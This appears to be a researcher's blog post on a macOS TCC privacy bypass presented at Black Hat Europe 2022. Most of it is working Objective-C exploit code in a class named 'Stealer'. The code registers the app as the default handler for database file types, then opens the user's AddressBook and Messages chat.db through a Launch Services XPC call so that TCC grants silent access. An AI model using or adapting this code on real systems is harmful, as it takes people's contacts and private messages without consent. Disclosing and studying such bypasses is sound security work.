Overview of my favorite TCC bypass ever

This vulnerability was disclosed at Black Hat Europe 2022 in the talk Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms. The technique used an old Launch Services function LSSetDefaultRoleHandlerForContentType that allowed (without any restrictions) to register arbitrary applications for handling specified UTI handlers. After the UTI handling app registration, the exploit simply opens juicy files (like AddressBook or iMessages database) and TCC happily grants access to them. At that time TCC couldn’t recognize correctly if a file was opened by launch services or double-clicked by a user.

dog meme

Exploit

First, I created the following methods to set my app as responsible for the specified extension:

+ (NSString*)UTIforFileExtension:(NSString *)extension {
    NSString * UTIString = (__bridge NSString *)UTTypeCreatePreferredIdentifierForTag(kUTTagClassFilenameExtension, (__bridge CFStringRef)extension, NULL);
    return UTIString;
}

+ (bool)setMyselfAsDefaultApplicationForFileExtension:(NSString *)fileExtension {
    OSStatus returnStatus = LSSetDefaultRoleHandlerForContentType (
         (__bridge CFStringRef)[Stealer UTIforFileExtension:fileExtension],
         kLSRolesAll,
         (__bridge CFStringRef)[[NSBundle mainBundle] bundleIdentifier]
      );

    if (returnStatus != 0) {
        NSLog(@"Got an error when setting default application - %d", returnStatus);
        return NO;
    }

    return YES;
}

Then, I’m calling Launch Services by their XPC method (kudos Scott Knight for the code):

+ (void)openFileWithPath:(NSString *)path {
    xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
    if (dict) {
        xpc_dictionary_set_int64(dict, "cmd", 0x3);
        
        Class class = NSClassFromString(@"_LSRemoteOpenCall");
        _LSRemoteOpenCall *call = [[class alloc] init];
        
        NSURL *file = [NSURL fileURLWithPath:path];
        [call setInURLs:(__bridge CFArrayRef)@[file]];
        
        NSError *error;
        NSData *data = [NSKeyedArchiver archivedDataWithRootObject:call requiringSecureCoding:YES error:&error];
        
        xpc_dictionary_set_data(dict, "call", data.bytes, data.length);

        xpc_connection_t agentConnection = _LSAgentGetConnection();
        if (agentConnection != NULL) {
            if (dict) {
                xpc_object_t reply = xpc_connection_send_message_with_reply_sync(agentConnection, dict);
                if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) {
                    int64_t status = xpc_dictionary_get_int64(reply, "com.apple.coreservices.uiagent.status");
                    NSLog(@"com.apple.coreservices.uiagent.status %lli", status);
                } else {
                    char *reply_description = xpc_copy_description(reply);
                    NSLog(@"%@", [NSString stringWithUTF8String:reply_description]);
                }
            }
        }
    }
}

@end

xpc_connection_t _LSAgentGetConnection() {
    static xpc_connection_t agentConnection;
    static dispatch_once_t onceToken;
    
    dispatch_once(&onceToken, ^{
        agentConnection = xpc_connection_create_mach_service("com.apple.coreservices.quarantine-resolver", NULL, 0);
        xpc_connection_set_event_handler(agentConnection, ^(xpc_object_t  _Nonnull object) {
            // Do nothing
        });
        xpc_connection_resume(agentConnection);
    });
    
    return agentConnection;
}

And the last step is just to trigger the vulnerability:

- (IBAction)stealAB:(id)sender {
    NSString *path = [@"~/Library/Application Support/AddressBook/AddressBook-v22.abcddb" stringByExpandingTildeInPath];
    [Stealer setMyselfAsDefaultApplicationForFileExtension:@"abcddb"];
    [Stealer openFileWithPath:path];
    
}

- (IBAction)stealChat:(id)sender {
    NSString *path = [@"~/Library/Messages/chat.db" stringByExpandingTildeInPath];
    [Stealer setMyselfAsDefaultApplicationForFileExtension:@"db"];
    [Stealer openFileWithPath:path];
}

PoC recording